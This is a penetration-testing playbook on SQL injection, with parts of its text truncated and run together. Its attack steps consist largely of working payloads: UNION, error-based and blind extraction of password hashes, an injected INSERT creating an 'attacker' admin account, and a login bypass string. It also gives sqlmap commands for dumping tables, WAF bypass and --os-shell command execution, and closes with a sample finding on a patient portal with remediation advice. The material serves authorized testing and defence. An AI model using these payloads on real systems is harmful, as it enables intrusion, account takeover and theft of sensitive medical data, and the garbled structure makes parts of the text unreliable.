Do not use against databases without written authorization, for extracting or exfiltrating actual customer data beyond what is needed for proof of concept, or against production databases where exploitation could corrupt data integrity.
Identify parameters that interact with the database:
') into each parameter and observe the response. SQL errors (e.g., "You have an error in your SQL syntax", "unterminated quoted string", "ORA-01756") confirm the parameter reaches the database unsanitized.' AND 1=1-- (true condition) and ' AND 1=2-- (false condition). If the responses differ (different content length, different data returned, different HTTP status), the parameter is injectable.'; WAITFOR DELAY '0:0:5'-- (MSSQL), ' AND SLEEP(5)-- (MySQL), or '; SELECT pg_sleep(5)-- (PostgreSQL). A 5-second response delay confirms injection.Determine the database engine and version to select appropriate exploitation techniques:
' AND VERSION()-- or ' AND @@version--
' AND @@version-- or ' AND DB_NAME()--
' AND version()--
' AND banner FROM v$version--
CONCAT('a','b') or 'a' 'b', MSSQL uses 'a'+'b', PostgreSQL uses 'a'||'b', Oracle uses 'a'||'b'
# and -- , MSSQL uses -- , PostgreSQL uses -- , Oracle uses --
Exploit confirmed injection points using technique-appropriate methods:
ORDER BY incrementing (' ORDER BY 1--, ' ORDER BY 2--, etc. until an error occurs). Then construct UNION SELECT to extract data:
' UNION SELECT NULL,username,password,NULL FROM users--
EXTRACTVALUE or UPDATEXML to force data into error messages:
' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT @@version),0x7e))--
' AND SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a'--
' AND IF(SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a',SLEEP(5),0)--
'; INSERT INTO users(username,password,role) VALUES('attacker','password','admin')--
Use sqlmap for efficient exploitation of confirmed injection points:
sqlmap -u "https://target.com/page?id=1" --batch --random-agent to detect injection and identify the databasesqlmap -u "https://target.com/page?id=1" --dbs to list all databasessqlmap -u "https://target.com/page?id=1" -D <database> --tables to list tablessqlmap -u "https://target.com/page?id=1" -D <database> -T users --dump --threads 5 to extract table contentssqlmap -u "https://target.com/login" --data="username=test&password=test" -p username to test POST parameterssqlmap -u "https://target.com/page" --cookie="session=abc123; id=1*" --level 2 to test cookie parameters (mark injectable parameter with *)sqlmap -u "https://target.com/page?id=1" --os-shell to attempt command execution via xp_cmdshell (MSSQL) or INTO OUTFILE (MySQL)sqlmap -u "https://target.com/page?id=1" --tamper=space2comment,between to bypass WAF filtersDocument the full impact of the SQL injection vulnerability:
admin' OR 1=1-- and document the bypassed authentication mechanism| Term | Definition |
|---|---|
| SQL Injection | A code injection technique that exploits unvalidated user input in SQL queries to manipulate database operations, extract data, or execute administrative operations |
| Union-Based SQLi | Injection technique that appends a UNION SELECT statement to the original query to extract data from other tables in the same response |
| Blind SQL Injection | Injection where the application does not return query results directly; the attacker infers data through boolean responses or time delays |
| Parameterized Query | A prepared SQL statement where user input is passed as parameters rather than concatenated into the query string, preventing injection |
| Second-Order Injection | SQL injection where the malicious payload is stored by the application and executed in a different context or SQL query at a later time |
| Stacked Queries | Executing multiple SQL statements separated by semicolons in a single request, enabling INSERT, UPDATE, or DELETE operations through injection |
| WAF Bypass | Techniques for evading Web Application Firewall rules that block common SQL injection patterns, using encoding, alternate syntax, or fragmentation |
Context: A healthcare organization's patient portal allows patients to view their medical records, appointments, and billing information. The application uses a PHP backend with MySQL database. The tester has a valid patient account.
Approach:
/appointment?id=4521
ORDER BY to determine the query returns 7 columnsPitfalls:
## Finding: SQL Injection in Appointment Detail Parameter
**ID**: SQLI-001
**Severity**: Critical (CVSS 9.8)
**Affected URL**: GET /appointment?id=4521
**Parameter**: id (GET parameter)
**Database**: MySQL 8.0.32
**Injection Type**: Error-based, UNION-based
**Description**:
The appointment detail page concatenates the 'id' URL parameter directly into
a SQL query without parameterization or input validation. This allows an attacker
to inject arbitrary SQL statements and extract data from any table in the database.
**Proof of Concept**:
Request: GET /appointment?id=4521' UNION SELECT 1,username,password,4,5,6,7 FROM admin_users-- -
Response: Returns admin usernames and MD5 password hashes in the page content.
**Data Accessible**:
- patients table: 15,247 records (name, DOB, SSN, address, phone)
- medical_records table: 43,891 records (diagnoses, prescriptions, lab results)
- admin_users table: 5 accounts with MD5-hashed passwords
- billing table: 28,563 records (insurance details, payment information)
**Remediation**:
1. Replace string concatenation with parameterized queries:
VULNERABLE: $query = "SELECT * FROM appointments WHERE id = " . $_GET['id'];
SECURE: $stmt = $pdo->prepare("SELECT * FROM appointments WHERE id = ?");
$stmt->execute([$_GET['id']]);
2. Implement input validation to reject non-integer values for the id parameter
3. Apply least-privilege database permissions (read-only for the web application user)
4. Deploy a WAF rule to detect and block SQL injection patterns as defense-in-depth